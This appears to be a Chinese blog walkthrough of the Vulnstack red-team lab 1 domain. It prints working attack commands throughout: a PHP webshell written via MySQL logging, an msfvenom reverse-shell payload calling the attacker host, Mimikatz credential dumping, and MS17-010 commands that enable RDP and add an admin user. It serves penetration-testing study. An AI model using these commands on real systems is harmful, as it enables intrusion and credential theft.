- 前言
- 環境搭建
- 外圍打點
- 資訊收集
- phpmyadmin全域性日誌getshell
- 內網資訊收集
- msf上線
- mimikatz抓取明文密碼
- 域資訊收集
- 橫向移動
- msf+proxychains搭建socks5隧道
- MS08-067漏洞利用
- MS17-010漏洞利用
- 獲取域控伺服器
- 總結
前言
這個靶場是紅日安全團隊推出的紅隊實戰系列第一個靶場,其中包括了漏洞利用、內網蒐集、橫向移動、構建通道、持久控制等多個環節。是一個不錯的學習內網滲透的環境,這裡僅記錄我的打靶學習過程。
環境搭建
靶場下載地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
檔案下載下來有三個壓縮包,分別對應域中三臺主機:
-
vulnstack-win7 對應Windows 7是Web伺服器
-
vulnstack-Win2K3 Metasploitable 對應Windows Server 2003是域成員
-
vulnstack-winserver08 對應Windows Server 2008是域控
網路拓撲示意圖:
虛擬機器網路配置:
-
Web伺服器(Windows 7):需配置為雙網路卡模式,網路介面卡設定為自定義(VMnet1僅主機模式),另外再新增一個網路介面卡設定為NAT模式
-
域成員(Windows Server 2003):網路介面卡設定為自定義(VMnet1僅主機模式)
-
域控(Windows Server 2008):網路介面卡設定為自定義(VMnet1僅主機模式)
-
攻擊機(Kali):設定為NAT模式
此時Windows 7和Windows 2003及Windows Server 2008處於同一內網中,kali僅可以訪問到windows 7。
虛擬機器IP地址分配:
-
kali:外網 192.168.88.128
-
Windows 7:外網 192.168.88.137,內網 193.168.52.143
-
Windows Server 2003:內網 192.168.52.141
-
Windows Server 2008:內網 192.168.52.138
啟動Windows 7的C盤下的phpstudy開啟web服務,外網可訪問:
如果出現錯誤“phpstudy已經停止工作”,解決方案參考:https://blog.csdn.net/qq_43871179/article/details/125307581
全部都準備完畢以後就可以開始滲透了!
外圍打點
資訊收集
主機發現:
埠掃描:
首先使用nmap掃一下web伺服器的ip地址:
掃到了一個80埠,訪問80埠,發現是一個phpStudy探針頁面:
暴露了網站絕對路徑為C:/phpStudy/WWW,php版本為5.4.45,GPC關閉,支援資料庫等資訊,底部還有MySQL資料庫連線檢測的功能。
繼續使用nmap掃一下MySQL資料3306埠是否暴露:
可以確定3306埠對公網暴露,測試弱口令root/root是否可以連線資料庫:
資料庫連線正常:
目錄掃描:
繼續使用dirsearch掃描一下網站目錄:
發現存在phpmyadmin目錄。
phpmyadmin全域性日誌getshell
使用弱口令root/root對phpmyadmin進行登入:
登入成功,嘗試是否可以直接寫入一句話木馬,檢視系統變數secure_file_priv
的值:
此處的變數值為NULL,即沒設定允許操作的目錄,所以沒法匯入和匯出到檔案。
試試看能不能透過日誌檔案來寫入一句話木馬,檢視全域性變數general_log
和genera_log_file
的值:
此處全域性日誌功能是關閉的,若開啟後,執行過的sql語句都會儲存到stu1.log檔案。所以這裡開啟全域性日誌,並根據前面網站根目錄將日誌儲存位置修改為C:/phpStudy/WWW/shell.php
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
再次查詢全域性變數:
查詢一句話木馬select '<?php eval($_POST[abc]);?>';
寫入日誌:
使用蟻劍連線一句話木馬http://192.168.88.137/shell.php
:
在根目錄可以看到除了phpmyadmin,還有一個cms系統yxcms和一個備份檔案beifen.rar,到這裡後臺getshell完成。
內網資訊收集
msf上線
透過msf生成一個反彈連線的木馬cc.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe -o cc.exe
將msf木馬上傳至Win7主機(沒有殺軟不用免殺):
Kali本機使用msf開啟監聽模式:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.88.128
run
使用蟻劍的虛擬終端執行網站根目錄下的cc.exe木馬,之後成功獲取meterpreter shell:
到這很順利,基本拿下了web伺服器,接下來繼續對內網進行滲透。
mimikatz抓取明文密碼
通常獲取meterpreter shell之後是一個低許可權,需要進行提權。但是靶場環境比較簡單,使用getuid命令獲取到當前的使用者是管理員賬號GOD\Administrator,並且使用getsystem命令嘗試自動提權,很容易就提升到了system許可權。
現在是一個比較高的許可權,所以直接使用mimikatz來抓取明文密碼(mimikatz模組已經合併為kiwi模組,使用kiwi模組需要system許可權)。
檢視當前系統資訊,可以看出目標系統是64位的:
kiwi模組同時支援32位和64位的系統,但是該模組預設是載入32位的系統,所以如果目標主機是64位系統的話,直接預設載入該模組會導致很多功能無法使用,將meterpreter程序遷移到一個64位程式的程序中,才能載入kiwi並且檢視系統明文。
檢視當前程序列表,可以看出lsass程序是以system許可權執行,PID為504:
現在需要把meterpreter shell程序遷移到PID為504的lsass.exe程序裡:
migrate 504
接著載入kiwi模組,列舉所有憑據:
看到獲取到的Administrator的明文密碼為hongrisec@2019
。
可以開啟3389埠遠端桌面,關閉防火牆,再使用明文口令遠端桌面登入這臺Web伺服器,但是我們已經拿到system許可權的shell,所以顯得有點多此一舉。
域資訊收集
域資訊的收集就主要包括域內主機系統資訊收集,網路拓撲資訊收集,漏洞資訊收集等。
這裡使用shell
切換到目標主機的cmd(chcp 65001可以避免cmd字元中文亂碼):
使用systeminfo
獲取主機詳細資訊:
使用net config Workstation
命令檢視當前計算機名稱以及所在的工作站域等資訊:
使用net group /domain
命令檢視域內所有使用者列表(system許可權):
使用net group "domain computers" /domain
命令檢視域成員計算機列表(system許可權):
使用net group "domain admins" /domain
命令檢視域管理員使用者(system許可權):
綜上可以基本判斷出:
當前使用者是管理員賬號GOD\Administrator,當前主機內網ip地址為192.168.52.137,內網網段為192.168.52.0/24,當前域為god.org,本機計算機名稱是stu1,域管理員使用者是OWA,另外還有兩個域使用者DEV1和ROOT-TVI862UBEH。
通常我們是不清楚內網拓撲的,所以這裡先不著急,繼續深入收集內網主機的資訊。
目前已知內網網段為192.168.52.0/24,檢視arp快取表,發現另外兩臺內網主機ip地址分別為192.168.52.138和192.168.52.141,但是目前還不能確定它們的身份。
好訊息是Win7已經安裝了nmap工具,所以不需要再手動安裝了,可以進一步針對192.168.52.0/24內網網段進行資訊收集。
對內網網段進行nmap掃描:
cd C:\Program Files (x86)\Nmap && nmap.exe -sS -T4 -A 192.168.52.0/24
拿到了一共三臺主機的掃描資訊:
192.168.52.138:
Nmap scan report for 192.168.52.138
Host is up (0.00s latency).
Not shown: 982 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-20 12:59:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:22:33:12 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|phone
Running: Microsoft Windows 2008|8.1|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
Service Info: Host: OWA; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: OWA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:22:33:12 (VMware)
| smb-os-discovery:
| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: owa
| NetBIOS computer name: OWA\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: owa.god.org
|_ System time: 2024-06-20T21:02:17+08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-06-20T13:02:17
|_ start_date: 2024-06-19T14:33:31
TRACEROUTE
HOP RTT ADDRESS
1 0.00 ms 192.168.52.138
可以看到192.168.52.138作業系統是Windows Server 2008 R2,計算機名是owa,所以基本可以確定192.168.52.138就是域控。
192.168.52.141:
Nmap scan report for 192.168.52.141
Host is up (0.00s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2003 3790 microsoft-ds
777/tcp open multiling-http?
1025/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1030/tcp open msrpc Microsoft Windows RPC
6002/tcp open http SafeNet Sentinel Protection Server 7.3
|_http-server-header: SentinelProtectionServer/7.3
|_http-title: Sentinel License Monitor
7001/tcp open afs3-callback?
7002/tcp open http SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
|_http-server-header: SentinelKeysServer/1.0
|_http-title: Sentinel Keys License Monitor
8099/tcp open http Microsoft IIS httpd 6.0
|_http-server-header: Microsoft-IIS/6.0
|_http-title: The page must be viewed over a secure channel
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V=7.80%I=7%D=6/20%Time=667427F4%P=i686-pc-windows-windows%r
SF:(TerminalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,
SF:5,"\x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServ
SF:er,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x
SF:06");
MAC Address: 00:0C:29:1B:B5:0A (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
Host script results:
|_clock-skew: mean: -3h59m59s, deviation: 5h39m23s, median: -7h59m58s
|_nbstat: NetBIOS name: ROOT-TVI862UBEH, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:1b:b5:0a (VMware)
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| OS CPE: cpe:/o:microsoft:windows_server_2003::-
| Computer name: root-tvi862ubeh
| NetBIOS computer name: ROOT-TVI862UBEH\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: root-tvi862ubeh.god.org
|_ System time: 2024-06-20T21:02:19+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.00 ms 192.168.52.141
可以看到192.168.52.141作業系統是Windows Server 2003,計算機名為root-tvi862ubeh,所以也基本可以確定192.168.52.141是另一個域成員。
192.168.52.143:
Nmap scan report for www.qiyuanxuetang.net (192.168.52.143)
Host is up (0.00s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1117/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
Device type: general purpose
Running: Microsoft Windows 8.1|7|2008
OS CPE: cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2
OS details: Microsoft Windows 7 or 8.1 R1 or Server 2008 R2 SP1
Network Distance: 0 hops
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:01:5e:ae (VMware)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: stu1
| NetBIOS computer name: STU1\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: stu1.god.org
|_ System time: 2024-06-20T21:04:10+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-06-20T13:04:10
|_ start_date: 2024-06-19T15:38:20
Post-scan script results:
| clock-skew:
| -2h39m59s:
| 192.168.52.138
|_ 192.168.52.143 (www.qiyuanxuetang.net)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in 325.12 seconds
192.168.52.143也就是win7本機,計算機名為stu1。
接著使用nmap的指令碼進行內網漏洞的掃描:
nmap --script=vuln -p 1-65535 192.168.52.143
掃描發現win7(192.168.52.143)存在ms17-010漏洞。
nmap --script=vuln -p 1-65535 192.168.52.141
掃描發現域成員(192.168.52.141)存在MS08-067和ms17-010漏洞。
nmap --script=vuln -p 1-65535 192.168.52.138
掃描發現域控(192.168.52.138)同樣存在ms17-010漏洞。
內網資訊的收集到這就基本差不多了,因為Web伺服器上來就拿到了管理員system許可權,所以說難度降低了不少。
橫向移動
現在拿到了Web伺服器的meterpreter shell,但是還不能直接訪問內網網段。需要新增到目標環境網路的路由,才能使msf可以透過Win7轉發訪問192.168.25.0/24網段。
使用run get_local_subnets
取目標內網相關資訊:
新增去往192.168.52.0/24網段的路由資訊:
run autoroute -s 192.168.52.0/24
實際上直接新增到0.0.0.0/0
的路由也可以,Win7主機可達msf也都可以達。
msf+proxychains搭建socks5隧道
新增socks代理:
當前使用msf自帶的模組對內網的主機進行探測時,msf的流量會根據路由資訊直接送到對應的目標網段。但如果使用kali上其他的滲透工具,則需要一個代理幫助轉發流量。這裡就使用msf作為代理,由msf的路由將流量帶入到內網中。具體做法就是加一個socks代理模組,監聽本地的埠,然後再透過這個埠將流量轉給msf即可。
我使用的是msf6環境,使用socks5代理模組:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
run
# 預設監聽在1080埠
編輯/etc/proxychains.conf
檔案加上socks5代理伺服器和埠:
試一試proxychains4代理本地的nmap能否掃到內網的域控:
proxychains4 nmap -sT -Pn 192.168.52.138 -p 445
看到可以成功訪問,但是需要注意的時proxychains4只對tcp流量轉發,所以udp和icmp都不能代理轉發。所以使用使用proxychains4代理nmap掃描主機時,必須加上-sT和-Pn兩個引數。
MS08-067漏洞利用
根據前面資訊收集的漏洞掃描結果發現域成員Windows 2003開啟了445埠SMB服務,同時也存在MS08-067和MS17-010兩個漏洞。
先來看看MS08-067漏洞的利用:
MS08-067漏洞全稱是“Windows Server服務RPC請求緩衝區溢位漏洞”,攻擊者利用受害者主機預設開放的SMB服務埠445,傳送特殊RPC(Remote Procedure Call,遠端過程呼叫)請求,造成棧緩衝區記憶體錯誤,從而被利用實施遠端程式碼執行。
它影響了某些舊版本的Windows系統,包括:Windows 2000,Windows XP,Windows Server 2003
直接搜一下MS08-067漏洞的exp:
將payload設定為常規的反向tcp連線,試了幾次都不成功:
發現有路由,但是ping不通目標主機:
原因很有可能就是隻有過去的路由,沒有回來的路由,目標主機無法直接連線到攻擊機,所以說反向連線行不通。
將payload設定為正向tcp連線bind_tcp試一試:
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
set lport 4444
run
採用正向tcp連線到445埠,proxychains代理nmap掃描445埠狀態正常:
結果還是出現了問題,試了很多次始終無法正常連線(應該不是防火牆的問題),換了其他的正向payload還是無法成功。。。有可能是我的msf版本比較高導致的無法正常連線。
參考:https://www.cnblogs.com/huaweiyun/p/15559938.html
MS17-010漏洞利用
前面的ms08-067漏洞暫時沒有好的利用方案,繼續另一個ms17-010漏洞。
永恆之藍漏洞(ms17-010)是在445埠的SMB服務處理SMBv1請求時存在緩衝區溢位,造成遠端程式碼執行漏洞,受影響的Windows版本有很多。
msf搜到的ms17-010漏洞exp有5種:
挨個試一試:
第一個exploit/windows/smb/ms17_010_eternalblue
模組:
很明顯不行,Windows server 2003是32位的,這個模組只支援64的系統。
第二個exploit/windows/smb/ms17_010_psexec
模組,payload還是採用正向tcp連線:
仍然無法有效獲取會話。
第三個auxiliary/admin/smb/ms17_010_command
模組執行命令:
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
執行命令可以成功,可以嘗試透過執行命令,開啟3389埠進行遠端桌面登入:
依次執行:
#開啟3389埠
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
#新增使用者
set command net user blckder02 8888! /add
#新增管理員許可權
set command net localgroup administrators blckder02 /add
然後使用新增的使用者登入:
proxychains rdesktop 192.168.52.141
前面透過執行whoami命令回顯的是sysytem許可權,基本上這臺域成員就已經拿下了。
獲取域控伺服器
根據前面資訊收集的漏洞掃描結果域控伺服器存在MS17-010漏洞,exploit/windows/smb/ms17_010_eternalblue
模組和exploit/windows/smb/ms17_010_psexec
模組正向連線仍然不好使。
命令執行模組auxiliary/admin/smb/ms17_010_command
有效果:
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run
所以接下來和windows server 2003主機的操作一樣了,使用開啟3389埠遠端桌面登入。
靶場的文件裡面還提到了WMI利用拿下域控的方法,需要準備一個vmiexec.vbs
指令碼和一些其他工具,顯得複雜一些。
總結
整個打靶過程還是有不少收穫的,整個過程大致就是,弱口令登入phpmyadmin,利用日誌檔案寫入一句話木馬,Web伺服器getshell,利用msf反彈shell,內網掃描資訊收集,流量代理轉發,最後利用ms17_010漏洞拿下域成員和域控伺服器。
其實靶場提供的漏洞環境遠不止這些,還有redis getshell,MySQL提權,票據傳遞等,後面後單獨復現一下,這次記錄就到這裡,共勉!
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ